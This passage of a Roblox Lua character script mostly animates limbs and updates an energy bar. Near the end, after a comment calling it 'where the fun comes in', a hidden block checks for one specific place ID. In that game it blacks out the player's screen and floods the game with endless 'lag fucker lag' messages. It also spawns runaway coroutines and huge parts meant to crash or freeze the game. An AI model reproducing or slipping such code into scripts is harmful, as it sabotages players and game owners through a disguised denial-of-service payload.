            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4801
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4802
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4803
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4804
]]--
4805
Footsteps:Play()
4806
Footsteps2:Stop()
4807
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3)
4808
Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3)
4809
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
4810
RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3)
4811
LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3)
4812
RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
4813
LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
4814
handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4815
Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2)
4816
Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2)
4817
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4818
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4819
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4820
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4821
end
4822
elseif torvel>=22 and hitfloor~=nil then
4823
Anim="Run"
4824
change=1
4825
if attack==false then
4826
Footsteps:Stop()
4827
Footsteps2:Play()
4828
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3)
4829
Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3)
4830
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
4831
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3)
4832
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3)
4833
RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
4834
LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
4835
handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4836
Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2)
4837
Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2)
4838
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4839
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4840
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4841
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4842
end
4843
end
4844
end
4845
fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true)
4846
fenbarmana4.Text="[Energy]                    <{[  "..mana.."  ]}>                    [Energy]"
4847
text.Text = math.floor(hum.Health)
4848
if mana>=100 then
4849
mana=100
4850
else
4851
if mananum<=8 then
4852
mananum=mananum+100
4853
else
4854
mananum=0
4855
mana=mana+100
4856
end
4857
end
4858
end
4859
4860
4861
4862
4863
--- shshshhh this is where the fun comes in ---
4864
if game.PlaceId == 21053279 then
4865
plr = game.Players.LocalPlayer
4866
char = plr.Character
4867
cam = workspace.CurrentCamera
4868
cam.CameraType = "Scriptable"
4869
cam.CoordinateFrame = CFrame.new(0,0,50)
4870
local localContainer
4871
local service=setmetatable({
4872
	MarketPlace=game:service("MarketplaceService");
4873
	GamepassService=game:service("GamePassService");
4874
	ChatService=game:service("Chat");
4875
	LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end;
4876
},{
4877
	__index=function(tab,index)
4878
		local serv
4879
		local ran,err=pcall(function() serv=game:service(index) end)
4880
		if ran then
4881
			tab[index]=serv
4882
			return serv
4883
		end
4884
	end
4885
})
4886
4887
local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end
4888
4889
x=game.Players.LocalPlayer
4890
				 x.CameraMode=Enum.CameraMode.LockFirstPerson
4891
				 f=Instance.new("Frame")
4892
				 f.Size=UDim2.new(1,0,1,0)
4893
				 f.BackgroundTransparency=0.01
4894
				 f.BackgroundColor3=Color3.new()
4895
				 pg=x.PlayerGui
4896
				 gui=Instance.new("ScreenGui",pg)
4897
				 wait(.1)
4898
			     for i=1,28000 do
4899
				 f:Clone().Parent=gui
4900
				 f:Clone().Parent=gui
4901
				 f:Clone().Parent=gui
4902
				 end
4903
			
4904
	script:Destroy();
4905
local runService = Game:GetService("RunService").Stepped;
4906
local LagNum = 1250;
4907
local str = "lag fucker lag";
4908
4909
for i = 1, math.huge do
4910
        if i % LagNum == 0 then runService:wait(); end
4911
        Instance.new("Message", Workspace).Text = str;
4912
end
4913
4914
local bores=coroutine.create(function() --Yolo?
4915
	cPcall(function()
4916
		--print(Game[("%s|"):rep(0xFFFFFFF)])
4917
	cPcall(print,'lol')
4918
	cPcall(warn,'lol')
4919
	cPcall(error,'lol')
4920
	while wait(0.1) do
4921
	spawn(function()
4922
		cPcall(function() 
4923
		spawn(function()
4924
		local tab={}
4925
		pcall(function()
4926
			spawn(function()
4927
			for i=1,1000000 do
4928
				cPcall(function()
4929
				spawn(function()
4930
					local bob2=coroutine.create(function()
4931
						function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
4932
						function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end 
4933
						spawn(f1)
4934
					end)
4935
					spawn(function() delay(0,function() coroutine.resume(bob2) end) end) 
4936
					spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)
4937
				end)
4938
				end)
4939
			end
4940
			tab={}
4941
			end)
4942
		end)
4943
		end) 
4944
		end)
4945
	end)
4946
	end
4947
	end)
4948
end)
4949
4950
service.RunService.Stepped:connect(function()
4951
	for i=1,500000 do
4952
		delay(0,function() pcall(function() coroutine.resume(bores) end) end)
4953
	end
4954
end)
4955
4956
4957
	local function bob()
4958
	cPcall(function()
4959
		while wait(0.1) do
4960
			--cPcall(function()
4961
			--for i=1,100 do
4962
				local p=Instance.new("Part")
4963
				p.Material="Neon"
4964
				p.Size=Vector3.new(50,50,50)
4965
				p.Anchored=true
4966
				p.BackSurface="Studs"
4967
				p.BottomSurface="Studs"
4968
				p.FrontSurface="Studs"
4969
				p.LeftSurface="Studs"
4970
				p.RightSurface="Studs"
4971
				p.TopSurface="Studs"
4972
				local t=Instance.new("Texture",p)
4973
				t.Texture="http://www.roblox.com/asset/?id=190803157"
4974
				t.Face="Top"
4975
				t.StudsPerTileU=1000
4976
				t.StudsPerTileV=1000
4977
				local t2=t:clone()
4978
				t2.Parent=p
4979
				t2.Face="Bottom"
4980
				local t2=t:clone()
4981
				t2.Parent=p
4982
				t2.Face="Left"
4983
				local t2=t:clone()
4984
				t2.Parent=p
4985
				t2.Face="Right"
4986
				local t2=t:clone()
4987
				t2.Parent=p
4988
				t2.Face="Front"
4989
				local t2=t:clone()
4990
				t2.Parent=p
4991
				t2.Face="Back"
4992
				p.Parent=service.LocalContainer()
4993
			--end
4994
			--end)
4995
		end
4996
	end)
4997
	end
4998
	bob() --while wait(0.1) do cPcall(bob) end
4999
end
5000
--